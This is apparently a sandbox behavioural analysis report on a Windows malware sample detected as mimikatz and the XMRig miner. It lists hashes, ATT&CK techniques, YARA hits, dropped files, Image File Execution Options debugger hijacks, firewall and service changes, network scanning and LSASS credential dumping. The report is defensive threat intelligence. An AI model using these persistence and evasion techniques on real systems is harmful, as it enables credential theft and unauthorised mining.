mimikatz | 092fbb31f779cb5a42512144d001190d6d5b3b57b470ddccbabadaa5114e3fd8

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
29-08-2024 00:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe
Size

8.3MB
MD5

84822eca1ff1a90d4d729921b07da4ac
SHA1

22eab271e3aaaf07b70fc25edff89804258f2dc5
SHA256

092fbb31f779cb5a42512144d001190d6d5b3b57b470ddccbabadaa5114e3fd8
SHA512

448d68befcb6685f20613bc5e0fecfda2a9b2c31c5f020382e1814093a5739cd71f3612ef05d3cfcf792a0ce22a385f53f430cfc433642ca70abe5dfc4a9c5ae
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4464 created 1388	4464	euiugba.exe	37

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (19583) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/4568-179-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-183-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-200-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-217-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-226-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-235-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-250-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-254-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-255-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig
behavioral2/memory/4568-257-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/3488-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/3488-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/files/0x0008000000023490-6.dat	mimikatz
behavioral2/memory/4936-8-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/3868-138-0x00007FF68AE50000-0x00007FF68AF3E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	euiugba.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	euiugba.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	euiugba.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2320	netsh.exe
4212	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
4936	euiugba.exe
4464	euiugba.exe
3676	wpcap.exe
2160	glithlcwh.exe
3868	vfshost.exe
1236	xohudmc.exe
4580	cuwoqc.exe
1648	wewhpbpmh.exe
4568	pctkcm.exe
3764	wewhpbpmh.exe
2476	wewhpbpmh.exe
2536	wewhpbpmh.exe
1696	wewhpbpmh.exe
64	wewhpbpmh.exe
2716	wewhpbpmh.exe
4992	wewhpbpmh.exe
3932	wewhpbpmh.exe
4492	wewhpbpmh.exe
1668	wewhpbpmh.exe
2476	euiugba.exe
736	wewhpbpmh.exe
1428	wewhpbpmh.exe
2320	wewhpbpmh.exe
4988	wewhpbpmh.exe
812	wewhpbpmh.exe
2864	wewhpbpmh.exe
672	wewhpbpmh.exe
2860	eguiemhzp.exe
808	euiugba.exe

Loads dropped DLL 12 IoCs

pid	Process
3676	wpcap.exe
3676	wpcap.exe
3676	wpcap.exe
3676	wpcap.exe
3676	wpcap.exe
3676	wpcap.exe
3676	wpcap.exe
3676	wpcap.exe
3676	wpcap.exe
2160	glithlcwh.exe
2160	glithlcwh.exe
2160	glithlcwh.exe

UPX packed file 35 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00070000000234d8-134.dat	upx
behavioral2/memory/3868-136-0x00007FF68AE50000-0x00007FF68AF3E000-memory.dmp	upx
behavioral2/memory/3868-138-0x00007FF68AE50000-0x00007FF68AF3E000-memory.dmp	upx
behavioral2/memory/1648-156-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/files/0x00070000000234e3-155.dat	upx
behavioral2/memory/1648-161-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/files/0x00070000000234e0-164.dat	upx
behavioral2/memory/4568-165-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/3764-172-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/2476-176-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4568-179-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/2536-181-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4568-183-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/1696-186-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/64-190-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/2716-194-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4992-198-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4568-200-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/3932-203-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4492-207-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/1668-211-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4568-217-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/736-220-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/1428-224-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4568-226-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/2320-229-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4988-232-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/812-234-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4568-235-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/2864-237-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/672-239-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp	upx
behavioral2/memory/4568-250-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/4568-254-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/4568-255-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx
behavioral2/memory/4568-257-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
93	ifconfig.me
94	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\cuwoqc.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE	euiugba.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\cuwoqc.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE	euiugba.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\tucl-1.dll	euiugba.exe
File created	C:\Windows\gezmcuhh\schoedcl.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\Shellcode.ini	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\eguiemhzp.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\schoedcl.exe	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\schoedcl.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\AppCapture64.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\Corporate\mimidrv.sys	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\Packet.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\zlib1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\vimpcsvc.xml	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\svschost.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\docmicfg.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\vimpcsvc.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\docmicfg.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\xdvl-0.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\svschost.exe	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\spoolsrv.xml	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\euiugba.exe	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\spoolsrv.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\wpcap.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\posh-0.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\trfo-2.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\svschost.xml	euiugba.exe
File created	C:\Windows\gezmcuhh\vimpcsvc.xml	euiugba.exe
File opened for modification	C:\Windows\thgpqiiyn\zymuetvrm\Packet.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\schoedcl.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\Corporate\mimilib.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\scan.bat	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\spoolsrv.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\cnli-1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\coli-0.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\crli-0.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\schoedcl.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\AppCapture32.dll	euiugba.exe
File opened for modification	C:\Windows\thgpqiiyn\zymuetvrm\Result.txt	eguiemhzp.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\spoolsrv.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\libxml2.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\Corporate\vfshost.exe	euiugba.exe
File opened for modification	C:\Windows\thgpqiiyn\Corporate\log.txt	cmd.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\ip.txt	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\svschost.xml	euiugba.exe
File created	C:\Windows\gezmcuhh\spoolsrv.xml	euiugba.exe
File created	C:\Windows\gezmcuhh\docmicfg.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\ssleay32.dll	euiugba.exe
File created	C:\Windows\gezmcuhh\svschost.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\tibe-2.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\exma-1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\trch-1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\docmicfg.xml	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\vimpcsvc.xml	euiugba.exe
File created	C:\Windows\ime\euiugba.exe	euiugba.exe
File created	C:\Windows\gezmcuhh\euiugba.exe	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\vimpcsvc.exe	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\docmicfg.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\ucl.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\upbdrjv\swrpwe.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\libeay32.dll	euiugba.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2840	sc.exe
748	sc.exe
4552	sc.exe
4908	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
